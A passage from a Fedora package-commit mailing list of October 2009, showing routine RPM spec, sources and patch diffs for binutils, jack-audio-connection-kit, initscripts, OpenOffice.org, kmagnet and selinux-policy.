-%{_kde4_datadir}/wallpapers/Constantine_Mosaico/
+%{_kde4_datadir}/wallpapers/Constantine/
 
-#files extras-kde
-#defattr(-,root,root,-)
+%files extras-kde
+%defattr(-,root,root,-)
+%{_kde4_datadir}/wallpapers/Constantine_mosaico/
+%{_kde4_datadir}/wallpapers/Constantine_4flowers/
+%{_kde4_datadir}/wallpapers/Constantine_constantine/
+%{_kde4_datadir}/wallpapers/Constantine_pruebas/
+%{_kde4_datadir}/wallpapers/Constantine_rose/
+%{_kde4_datadir}/wallpapers/Constantine_rain/
 
 
 %changelog
+* Tue Oct 27 2009 Martin Sourada <mso at fedoraproject.org> - 12.1.0-1
+- New default, final extras selection, start building extras-kde subpackage
+
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 12.0.0-2
+- Provides: system-backgrounds(-kde) for F-12+ (until something else does)
+
 * Wed Sep 30 2009 Martin Sourada <mso at fedoraproject.org> - 12.0.0-1
 - Update default and 4flowers, adds dual screen versions for default
   => split single screen versions into -single subpackage


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/constantine-backgrounds/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 20:03:56 -0000	1.5
+++ sources	27 Oct 2009 20:07:38 -0000	1.6
@@ -1 +1 @@
-fc795aeeb4e164fe106ac965c261ad97  constantine-backgrounds-12.0.0.tar.lzma
+9122e87fdbd80747bd305b40df3e0db9  constantine-backgrounds-12.1.0.tar.lzma



From jkratoch at fedoraproject.org  Tue Oct 27 20:08:46 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Tue, 27 Oct 2009 20:08:46 +0000 (UTC)
Subject: rpms/binutils/F-12 binutils.spec,1.175,1.176
Message-ID: <20091027200846.74E3C11C00E6@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/binutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20300

Modified Files:
	binutils.spec 
Log Message:
* Tue Oct 27 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.19.51.0.14-34
- Fix rpm --excludedocs (BZ 515922).
- Fix spurious scriplet errors by `exit 0'. (BZ 517979, Nick Clifton)



Index: binutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/F-12/binutils.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- binutils.spec	15 Oct 2009 14:48:13 -0000	1.175
+++ binutils.spec	27 Oct 2009 20:08:45 -0000	1.176
@@ -17,7 +17,7 @@
 Summary: A GNU collection of binary utilities
 Name: %{?cross}binutils%{?_with_debug:-debug}
 Version: 2.19.51.0.14
-Release: 33%{?dist}
+Release: 34%{?dist}
 License: GPLv3+
 Group: Development/Tools
 URL: http://sources.redhat.com/binutils
@@ -305,34 +305,51 @@ rm -rf %{buildroot}
 %if %{isnative}
 %post
 /sbin/ldconfig
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/as.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/binutils.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/gprof.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/ld.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/standards.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/configure.info
+# For --excludedocs:
+if [ -e %{_infodir}/binutils.info.gz ]
+then
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/as.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/binutils.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/gprof.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/ld.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/standards.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/configure.info.gz
+fi
 exit 0
 
 %preun
-if [ $1 = 0 ] ;then
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/as.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/binutils.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gprof.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/ld.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/standards.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/configure.info
+if [ $1 = 0 ]
+then
+  if [ -e %{_infodir}/binutils.info.gz ]
+  then
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/as.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/binutils.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gprof.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/ld.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/standards.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/configure.info.gz
+  fi
 fi
 exit 0
 
 %postun -p /sbin/ldconfig
 
 %post devel
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/bfd.info
+if [ -e %{_infodir}/bfd.info.gz ]
+then
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/bfd.info.gz
+fi
+exit 0
 
 %preun devel
-if [ $1 = 0 ] ;then
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/bfd.info
+if [ $1 = 0 ]
+then
+  if [ -e %{_infodir}/bfd.info.gz ]
+  then
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/bfd.info.gz
+  fi
 fi
+exit 0
 %endif # %{isnative}
 
 %files -f %{?cross}binutils.lang
@@ -359,6 +376,10 @@ fi
 %endif # %{isnative}
 
 %changelog
+* Tue Oct 27 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.19.51.0.14-34
+- Fix rpm --excludedocs (BZ 515922).
+- Fix spurious scriplet errors by `exit 0'. (BZ 517979, Nick Clifton)
+
 * Thu Oct 15 2009 Jakub Jelinek <jakub at redhat.com> 2.19.51.0.14-33
 - Add .cfi_sections support.  (PR debug/40521)
 



From ausil at fedoraproject.org  Tue Oct 27 20:16:38 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Tue, 27 Oct 2009 20:16:38 +0000 (UTC)
Subject: rpms/jack-audio-connection-kit/F-12 jack-audio-connection-kit.spec, 
	1.30, 1.31
Message-ID: <20091027201638.9899811C00E6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/jack-audio-connection-kit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22721

Modified Files:
	jack-audio-connection-kit.spec 
Log Message:
 dont build libfreebob support on s390



Index: jack-audio-connection-kit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jack-audio-connection-kit/F-12/jack-audio-connection-kit.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- jack-audio-connection-kit.spec	25 Jul 2009 03:46:01 -0000	1.30
+++ jack-audio-connection-kit.spec	27 Oct 2009 20:16:37 -0000	1.31
@@ -1,7 +1,7 @@
 Summary: The Jack Audio Connection Kit
 Name: jack-audio-connection-kit
 Version: 0.116.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2 and LGPLv2
 Group: System Environment/Daemons
 Source0: http://www.jackaudio.org/downloads/%{name}-%{version}.tar.gz
@@ -17,7 +17,9 @@ BuildRequires: pkgconfig
 BuildRequires: doxygen
 BuildRequires: readline-devel, ncurses-devel
 BuildRequires: autoconf >= 2.59, automake >= 1.9.3, libtool
+%ifnarch s390 s390x
 BuildRequires: libfreebob-devel >= 1.0.0
+%endif
 
 %define groupname jackuser
 %define pagroup   pulse-rt
@@ -79,7 +81,9 @@ autoreconf --force --install
 
 %configure \
     --with-html-dir=%{_docdir} \
+%ifnarch s390 s390x
     --enable-freebob \
+%endif
     --disable-oss \
     --disable-portaudio \
     --with-default-tmpdir=/dev/shm
@@ -166,6 +170,9 @@ exit 0
 %{_bindir}/jack_midisine
 
 %changelog
+* Tue Oct 27 2009 Dennis Gilmore <dennis at ausil.us> - 0.116.1-7
+- dont build libfreebob support on s390 arches
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.116.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Tue Oct 27 20:18:44 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Tue, 27 Oct 2009 20:18:44 +0000 (UTC)
Subject: rpms/jack-audio-connection-kit/devel jack-audio-connection-kit.spec,
	1.30, 1.31
Message-ID: <20091027201844.9319C11C00E6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/jack-audio-connection-kit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23746

Modified Files:
	jack-audio-connection-kit.spec 
Log Message:
donbt build libfreebob support on s390



Index: jack-audio-connection-kit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jack-audio-connection-kit/devel/jack-audio-connection-kit.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- jack-audio-connection-kit.spec	25 Jul 2009 03:46:01 -0000	1.30
+++ jack-audio-connection-kit.spec	27 Oct 2009 20:18:44 -0000	1.31
@@ -1,7 +1,7 @@
 Summary: The Jack Audio Connection Kit
 Name: jack-audio-connection-kit
 Version: 0.116.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2 and LGPLv2
 Group: System Environment/Daemons
 Source0: http://www.jackaudio.org/downloads/%{name}-%{version}.tar.gz
@@ -17,7 +17,9 @@ BuildRequires: pkgconfig
 BuildRequires: doxygen
 BuildRequires: readline-devel, ncurses-devel
 BuildRequires: autoconf >= 2.59, automake >= 1.9.3, libtool
+%ifnarch s390 s390x
 BuildRequires: libfreebob-devel >= 1.0.0
+%endif
 
 %define groupname jackuser
 %define pagroup   pulse-rt
@@ -79,7 +81,9 @@ autoreconf --force --install
 
 %configure \
     --with-html-dir=%{_docdir} \
+%ifnarch s390 s390x
     --enable-freebob \
+%endif
     --disable-oss \
     --disable-portaudio \
     --with-default-tmpdir=/dev/shm
@@ -166,6 +170,9 @@ exit 0
 %{_bindir}/jack_midisine
 
 %changelog
+* Tue Oct 27 2009 Dennis Gilmore <dennis at ausil.us> - 0.116.1-7
+- dont build libfreebob support on s390 arches
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.116.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From notting at fedoraproject.org  Tue Oct 27 20:19:58 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Tue, 27 Oct 2009 20:19:58 +0000 (UTC)
Subject: rpms/initscripts/F-12 .cvsignore, 1.171, 1.172 initscripts.spec,
	1.202, 1.203 sources, 1.190, 1.191
Message-ID: <20091027201958.A08D411C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/initscripts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24411

Modified Files:
	.cvsignore initscripts.spec sources 
Log Message:
9.02-1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/.cvsignore,v
retrieving revision 1.171
retrieving revision 1.172
diff -u -p -r1.171 -r1.172
--- .cvsignore	9 Oct 2009 20:32:02 -0000	1.171
+++ .cvsignore	27 Oct 2009 20:19:58 -0000	1.172
@@ -1 +1 @@
-initscripts-9.01.tar.bz2
+initscripts-9.02.tar.bz2


Index: initscripts.spec
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/initscripts.spec,v
retrieving revision 1.202
retrieving revision 1.203
diff -u -p -r1.202 -r1.203
--- initscripts.spec	9 Oct 2009 20:32:02 -0000	1.202
+++ initscripts.spec	27 Oct 2009 20:19:58 -0000	1.203
@@ -2,7 +2,7 @@
 
 Summary: The inittab file and the /etc/init.d scripts
 Name: initscripts
-Version: 9.01
+Version: 9.02
 # ppp-watch is GPLv2+, everything else is GPLv2
 License: GPLv2 and GPLv2+
 Group: System Environment/Base
@@ -86,7 +86,6 @@ rm -f $RPM_BUILD_ROOT/etc/inittab.*
 %ifnarch s390 s390x
 rm -f \
  $RPM_BUILD_ROOT/etc/sysconfig/network-scripts/ifup-ctc \
- $RPM_BUILD_ROOT/etc/sysconfig/network-scripts/ifup-iucv \
  $RPM_BUILD_ROOT/lib/udev/rules.d/55-ccw.rules \
  $RPM_BUILD_ROOT/lib/udev/ccw_init \
  $RPM_BUILD_ROOT/etc/event.d/console
@@ -176,7 +175,6 @@ rm -rf $RPM_BUILD_ROOT
 /etc/sysconfig/network-scripts/net.hotplug
 %ifarch s390 s390x
 /etc/sysconfig/network-scripts/ifup-ctc
-/etc/sysconfig/network-scripts/ifup-iucv
 %endif
 %config(noreplace) /etc/networks
 /etc/rwtab
@@ -215,7 +213,6 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/getkey
 /sbin/securetty
 %attr(2755,root,root) /sbin/netreport
-/sbin/initlog
 /lib/udev/rules.d/*
 /lib/udev/rename_device
 /lib/udev/console_init
@@ -235,7 +232,6 @@ rm -rf $RPM_BUILD_ROOT
 /etc/ppp/ip-down.ipv6to4
 /etc/ppp/ipv6-up
 /etc/ppp/ipv6-down
-%config(noreplace) /etc/initlog.conf
 %dir /etc/NetworkManager
 %dir /etc/NetworkManager/dispatcher.d
 /etc/NetworkManager/dispatcher.d/00-netreport
@@ -252,6 +248,14 @@ rm -rf $RPM_BUILD_ROOT
 /etc/profile.d/debug*
 
 %changelog
+* Tue Oct 27 2009 Bill Nottingham <notting at redhat.com> - 9.02-1
+- remove long-since deprecated initlog
+- remove IUCV support (#507217)
+- halt: put a wrapper around killall5 to account for retval 2 not being an error (#526539, <hdegoede at redhat.com>)
+- ifup-eth: honor DEFROUTE=yes|no for 'all' connection types. (#528822)
+- network-functions: load bonding driver if BONDING_OPTS is defined. (#516569)
+- rc.sysinit: put /dev/shm in mtab too, as dracut now mounts it. (#528667)
+
 * Fri Oct  9 2009 Bill Nottingham <notting at redhat.com> - 9.01-1
 - rc.sysinit: fix handling of dmraid output to avoid error messages (#527726, <mschmidt at redhat.com>)
 - rwtab: add /var/lib/xend (#526046)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/sources,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- sources	9 Oct 2009 20:32:02 -0000	1.190
+++ sources	27 Oct 2009 20:19:58 -0000	1.191
@@ -1 +1 @@
-b6fa31fc4767993d633bea0e65d0da12  initscripts-9.01.tar.bz2
+bd631c5d6f319e25bf5a7209a29a32ec  initscripts-9.02.tar.bz2



From caolanm at fedoraproject.org  Tue Oct 27 20:34:20 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 27 Oct 2009 20:34:20 +0000 (UTC)
Subject: rpms/openoffice.org/F-11 workspace.defaultdoclang.patch,1.1,1.2
Message-ID: <20091027203420.C014F11C00EF@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30550/F-11

Modified Files:
	workspace.defaultdoclang.patch 
Log Message:
fix typo

workspace.defaultdoclang.patch:
 chart2/source/tools/CharacterProperties.cxx      |   15 ++-
 desktop/source/app/langselect.cxx                |   97 ++++-------------------
 desktop/source/app/langselect.hxx                |    2 
 i18npool/inc/i18npool/mslangid.hxx               |   10 ++
 i18npool/source/isolang/mslangid.cxx             |   55 +++++++++++++
 linguistic/source/lngopt.cxx                     |   18 ++--
 linguistic/source/lngopt.hxx                     |    2 
 reportdesign/source/core/api/ReportComponent.cxx |   10 +-
 reportdesign/util/makefile.mk                    |    1 
 sc/source/ui/app/scmod2.cxx                      |    9 +-
 sd/source/core/drawdoc.cxx                       |   10 +-
 sd/source/ui/notes/EditWindow.cxx                |    8 +
 sd/source/ui/presenter/PresenterTextView.cxx     |    9 +-
 svtools/source/config/lingucfg.cxx               |   78 +++++-------------
 svx/inc/svx/langbox.hxx                          |    2 
 svx/source/dialog/langbox.cxx                    |   28 ++++++
 svx/source/dialog/optgdlg.cxx                    |   76 +++++++++++++-----
 sw/source/ui/app/appopt.cxx                      |   18 +++-
 sw/source/ui/app/docshini.cxx                    |    8 +
 sw/source/ui/config/fontcfg.cxx                  |   31 ++++---
 sw/source/ui/dialog/ascfldlg.cxx                 |    8 +
 sw/source/ui/lingu/olmenu.cxx                    |    3 
 sw/util/makefile.mk                              |    1 
 23 files changed, 292 insertions(+), 207 deletions(-)

Index: workspace.defaultdoclang.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-11/workspace.defaultdoclang.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- workspace.defaultdoclang.patch	28 Aug 2009 09:43:31 -0000	1.1
+++ workspace.defaultdoclang.patch	27 Oct 2009 20:34:19 -0000	1.2
@@ -294,7 +294,7 @@ Index: i18npool/source/isolang/mslangid.
 +                if (nConfiguredAsianFallback == LANGUAGE_SYSTEM)
 +                    nLang = LANGUAGE_CHINESE_SIMPLIFIED;
 +                else
-+                    nLang = nConfiguredComplexFallback;
++                    nLang = nConfiguredAsianFallback;
 +                break;
 +            case ::com::sun::star::i18n::ScriptType::COMPLEX:
 +                if (nConfiguredComplexFallback == LANGUAGE_SYSTEM)



From caolanm at fedoraproject.org  Tue Oct 27 20:34:20 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 27 Oct 2009 20:34:20 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.defaultdoclang.patch,1.1,1.2
Message-ID: <20091027203420.B662A11C00E6@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30550/F-12

Modified Files:
	workspace.defaultdoclang.patch 
Log Message:
fix typo

workspace.defaultdoclang.patch:
 chart2/source/tools/CharacterProperties.cxx      |   15 ++-
 desktop/source/app/langselect.cxx                |   97 ++++-------------------
 desktop/source/app/langselect.hxx                |    2 
 i18npool/inc/i18npool/mslangid.hxx               |   10 ++
 i18npool/source/isolang/mslangid.cxx             |   55 +++++++++++++
 linguistic/source/lngopt.cxx                     |   18 ++--
 linguistic/source/lngopt.hxx                     |    2 
 reportdesign/source/core/api/ReportComponent.cxx |   10 +-
 reportdesign/util/makefile.mk                    |    1 
 sc/source/ui/app/scmod2.cxx                      |    9 +-
 sd/source/core/drawdoc.cxx                       |   10 +-
 sd/source/ui/notes/EditWindow.cxx                |    8 +
 sd/source/ui/presenter/PresenterTextView.cxx     |    9 +-
 svtools/source/config/lingucfg.cxx               |   78 +++++-------------
 svx/inc/svx/langbox.hxx                          |    2 
 svx/source/dialog/langbox.cxx                    |   28 ++++++
 svx/source/dialog/optgdlg.cxx                    |   76 +++++++++++++-----
 sw/source/ui/app/appopt.cxx                      |   18 +++-
 sw/source/ui/app/docshini.cxx                    |    8 +
 sw/source/ui/config/fontcfg.cxx                  |   31 ++++---
 sw/source/ui/dialog/ascfldlg.cxx                 |    8 +
 sw/source/ui/lingu/olmenu.cxx                    |    3 
 sw/util/makefile.mk                              |    1 
 23 files changed, 292 insertions(+), 207 deletions(-)

Index: workspace.defaultdoclang.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/workspace.defaultdoclang.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- workspace.defaultdoclang.patch	24 Aug 2009 14:50:36 -0000	1.1
+++ workspace.defaultdoclang.patch	27 Oct 2009 20:34:20 -0000	1.2
@@ -294,7 +294,7 @@ Index: i18npool/source/isolang/mslangid.
 +                if (nConfiguredAsianFallback == LANGUAGE_SYSTEM)
 +                    nLang = LANGUAGE_CHINESE_SIMPLIFIED;
 +                else
-+                    nLang = nConfiguredComplexFallback;
++                    nLang = nConfiguredAsianFallback;
 +                break;
 +            case ::com::sun::star::i18n::ScriptType::COMPLEX:
 +                if (nConfiguredComplexFallback == LANGUAGE_SYSTEM)



From rrix at fedoraproject.org  Tue Oct 27 20:52:22 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 20:52:22 +0000 (UTC)
Subject: rpms/kmagnet/F-10 kmagnet-desktop-category.patch, NONE,
	1.1 kmagnet.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027205223.02EB911C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2466

Modified Files:
	.cvsignore sources 
Added Files:
	kmagnet-desktop-category.patch kmagnet.spec 
Log Message:
Added F-10 branch of kmagnet


kmagnet-desktop-category.patch:
 kmagnet.desktop |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kmagnet-desktop-category.patch ---
diff -Nur kmagnet-0.03/src/kmagnet.desktop kmagnet-0.03-fedora/src/kmagnet.desktop
--- kmagnet-0.03/src/kmagnet.desktop	2009-10-15 16:55:13.000000000 -0700
+++ kmagnet-0.03-fedora/src/kmagnet.desktop	2009-10-16 20:08:06.541577949 -0700
@@ -1,4 +1,3 @@
-#!/usr/bin/env xdg-open
 [Desktop Entry]
 Name=kMagnet
 Name[x-test]=xxkMagnetxx
@@ -9,5 +8,5 @@
 GenericName=Simple puzzle game
 GenericName[ca]=Trencaclosques senzill
 Terminal=0
-Categories=Qt;KDE;Game;PuzzleGame;
+Categories=Qt;KDE;Game;LogicGame;
 


--- NEW FILE kmagnet.spec ---
Name:           kmagnet
Version:        0.03
Release:        5%{?dist}
Summary:        A simple puzzle game with a built-in puzzle editor

Group:          Amusements/Games
License:        GPLv3+
URL:            http://kde-apps.org/content/show.php/kmagnet?content=109111
Source0:        http://www.kde-apps.org/CONTENT/content-files/109111-%{name}-%{version}.tar.bz2
Patch0:         kmagnet-desktop-category.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  kdegames-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
Kmagnet is a simple puzzle game with a built-in puzzle editor. Basically you 
can move the ball up down left or right and it stops when it finds an 
obstacle or arrives to a hole. To win the ball has to arrive to a hole.


%prep
%setup -q
%patch0 -p1


%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} -C %{_target_platform}

desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/%{name}.desktop


%clean
rm -rf %{buildroot}


%post 
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
        touch --no-create %{_kde4_iconsdir}/hicolor &>/dev/null
        gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README TODO
%{_kde4_bindir}/%{name}
%{_kde4_datadir}/applications/kde4/%{name}.desktop
%{_kde4_datadir}/config.kcfg/%{name}.kcfg
%{_kde4_docdir}/HTML/en/%{name}/
%{_kde4_iconsdir}/hicolor/*/*/*
%{_kde4_appsdir}/kMagnet/


%changelog
* Sat Oct 17 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-5
- Fixed changelog macro usage in 0.02-3
- Removed unnecessary scriptlets
- Changed %%files to own the directories

* Fri Oct 16 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-4
- Update to 0.03
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file

* Sat Oct 10 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-3
- Removed redundant call to desktop-file-install
- Changed one %%files entry to use %%{_kde4_appsdir}

* Fri Oct 9 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-2
- Fixed Requires and BuildRequires
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate

* Wed Oct 7 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-1
- initial package

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:03 -0000	1.1
+++ .cvsignore	27 Oct 2009 20:52:20 -0000	1.2
@@ -0,0 +1 @@
+kmagnet-0.03-5.fc13.src.rpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:03 -0000	1.1
+++ sources	27 Oct 2009 20:52:20 -0000	1.2
@@ -0,0 +1 @@
+23d0d2fe4a75d2fd45692d3c34a9dfa3  kmagnet-0.03-5.fc13.src.rpm



From dwalsh at fedoraproject.org  Tue Oct 27 20:55:57 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 27 Oct 2009 20:55:57 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.118,
	1.119 selinux-policy.spec, 1.951, 1.952
Message-ID: <20091027205557.5FA9E11C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3810

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Tuei Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
- Allow bittlebee to connect to privoxy port


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
